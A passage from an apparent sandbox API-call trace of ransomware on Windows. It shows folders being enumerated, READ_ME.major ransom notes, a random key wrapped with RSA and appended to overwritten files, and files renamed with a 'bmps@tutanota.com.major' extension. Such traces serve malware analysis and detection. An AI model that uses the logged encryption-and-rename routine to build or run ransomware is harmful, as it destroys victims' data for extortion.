| out: hHeap=0x570000) returned 1 [0158.485] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\ARM\\S\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x4b9b7315, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6314c0 [0158.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0158.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e70 [0158.485] GetLastError () returned 0x12 [0158.485] SetLastError (dwErrCode=0x12) [0158.485] GetLastError () returned 0x12 [0158.485] SetLastError (dwErrCode=0x12) [0158.485] GetLastError () returned 0x12 [0158.485] SetLastError (dwErrCode=0x12) [0158.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0158.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0158.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0158.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0158.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631540 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631540 | out: hHeap=0x570000) returned 1 [0158.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0158.486] FindNextFileW (in: hFindFile=0x6314c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x4b9b7315, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0158.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ac8 [0158.486] GetLastError () returned 0x12 [0158.486] SetLastError (dwErrCode=0x12) [0158.486] GetLastError () returned 0x12 [0158.486] SetLastError (dwErrCode=0x12) [0158.486] GetLastError () returned 0x12 [0158.486] SetLastError (dwErrCode=0x12) [0158.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0158.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0158.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0158.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631540 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631540 | out: hHeap=0x570000) returned 1 [0158.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0158.486] FindNextFileW (in: hFindFile=0x6314c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19f653e5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19f653e5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0158.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ac8 | out: hHeap=0x570000) returned 1 [0158.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e70 [0158.487] GetLastError () returned 0x12 [0158.487] SetLastError (dwErrCode=0x12) [0158.487] GetLastError () returned 0x12 [0158.487] SetLastError (dwErrCode=0x12) [0158.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0158.487] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0158.487] GetLastError () returned 0x12 [0158.487] SetLastError (dwErrCode=0x12) [0158.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0158.487] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.487] FindNextFileW (in: hFindFile=0x6314c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19f653e5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19f653e5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0158.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0158.487] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0158.487] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef40 | out: hHeap=0x570000) returned 1 [0158.487] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0158.487] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631540 [0158.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0158.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0158.487] SetLastError (dwErrCode=0x12) [0158.487] GetLastError () returned 0x12 [0158.487] SetLastError (dwErrCode=0x12) [0158.488] GetLastError () returned 0x12 [0158.488] SetLastError (dwErrCode=0x12) [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be268 [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6546e0 [0158.488] FindNextFileW (in: hFindFile=0x631540, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0158.488] SetLastError (dwErrCode=0x12) [0158.488] GetLastError () returned 0x12 [0158.488] SetLastError (dwErrCode=0x12) [0158.488] GetLastError () returned 0x12 [0158.488] SetLastError (dwErrCode=0x12) [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0158.488] FindNextFileW (in: hFindFile=0x631540, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 1 [0158.488] SetLastError (dwErrCode=0x12) [0158.488] GetLastError () returned 0x12 [0158.488] SetLastError (dwErrCode=0x12) [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0158.488] SetLastError (dwErrCode=0x12) [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0158.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0158.488] FindNextFileW (in: hFindFile=0x631540, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0158.489] SetLastError (dwErrCode=0x12) [0158.489] GetLastError () returned 0x12 [0158.489] SetLastError (dwErrCode=0x12) [0158.489] GetLastError () returned 0x12 [0158.489] SetLastError (dwErrCode=0x12) [0158.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0158.489] FindNextFileW (in: hFindFile=0x631540, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0158.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5a9008 [0158.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0158.489] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.489] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp", dwFileAttributes=0x80) returned 1 [0158.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5a37b8 [0158.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xee) returned 0x651ab8 [0158.489] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6fc [0158.490] GetFileSizeEx (in: hFile=0x6fc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=51) returned 1 [0158.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x33) returned 0x6547e0 [0158.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x33) returned 0x654760 [0158.490] ReadFile (in: hFile=0x6fc, lpBuffer=0x6547e0, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6547e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x33, lpOverlapped=0x0) returned 1 [0158.491] SetFilePointer (in: hFile=0x6fc, lDistanceToMove=-51, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.491] WriteFile (in: hFile=0x6fc, lpBuffer=0x654760*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x654760*, lpNumberOfBytesWritten=0x2e3f9b4*=0x33, lpOverlapped=0x0) returned 1 [0158.491] SetFilePointer (in: hFile=0x6fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x33 [0158.491] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.491] WriteFile (in: hFile=0x6fc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0158.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0158.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0158.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0158.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="cGD2wInK4QlNSKWwDCHhsr/VApbd7/d4pNXykYyLjNHIZYzP6/h6VvBFmKpQK5ju\n0+mrpTAXSzjQ1ivwxTsbhZTWr75dbxyrd3UDKD1+lN2MGsOqlOf8Wz2gOcuwJRkQ\nX8ULv9sDDMPm8EWiokesG7+JU/ivvAGlu0ZUJhb357wnAIrw84re50zBMiVgn/KL\nAdc6780Zrt5RFK0yZMvntNj794NKCqUWS3zX1BjR44mEp70KA7Zfd4oiIcC9ZP3H\nEFvJNfNe6W+1R0LNTZ2ePODnra+6dZknFSYW3VO/VWJJ+HOIKG83gwtNJteLoUYw\n+Y9s5u5nm39O6t27wrpbTg==\n", pcchString=0x2e3f9a8) returned 1 [0158.491] WriteFile (in: hFile=0x6fc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0158.492] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0158.492] WriteFile (in: hFile=0x6fc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0158.492] CloseHandle (hObject=0x6fc) returned 1 [0158.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0158.492] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0158.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x651ab8 | out: hHeap=0x570000) returned 1 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0158.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eed8 | out: hHeap=0x570000) returned 1 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0158.500] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6540e0 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0158.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0158.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0158.500] GetLastError () returned 0x0 [0158.500] SetLastError (dwErrCode=0x0) [0158.500] GetLastError () returned 0x0 [0158.500] SetLastError (dwErrCode=0x0) [0158.500] GetLastError () returned 0x0 [0158.500] SetLastError (dwErrCode=0x0) [0158.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0158.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0158.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0158.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0158.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x654720 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654720 | out: hHeap=0x570000) returned 1 [0158.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0158.501] FindNextFileW (in: hFindFile=0x6540e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0158.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0158.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0158.501] GetLastError () returned 0x0 [0158.501] SetLastError (dwErrCode=0x0) [0158.501] GetLastError () returned 0x0 [0158.501] SetLastError (dwErrCode=0x0) [0158.501] GetLastError () returned 0x0 [0158.501] SetLastError (dwErrCode=0x0) [0158.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0158.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0158.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0158.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6541e0 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6541e0 | out: hHeap=0x570000) returned 1 [0158.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0158.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0158.502] FindNextFileW (in: hFindFile=0x6540e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0158.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0158.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0158.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0158.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0158.502] GetLastError () returned 0x0 [0158.502] SetLastError (dwErrCode=0x0) [0158.502] GetLastError () returned 0x0 [0158.502] SetLastError (dwErrCode=0x0) [0158.502] GetLastError () returned 0x0 [0158.502] SetLastError (dwErrCode=0x0) [0158.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0158.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0158.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0158.502] FindNextFileW (in: hFindFile=0x6540e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0158.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0158.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0158.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0158.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0158.502] GetLastError () returned 0x0 [0158.502] SetLastError (dwErrCode=0x0) [0158.502] GetLastError () returned 0x0 [0158.502] SetLastError (dwErrCode=0x0) [0158.502] GetLastError () returned 0x0 [0158.502] SetLastError (dwErrCode=0x0) [0158.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0158.502] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0158.502] FindNextFileW (in: hFindFile=0x6540e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0158.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0158.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0158.503] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0158.503] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8", dwFileAttributes=0x80) returned 1 [0158.504] 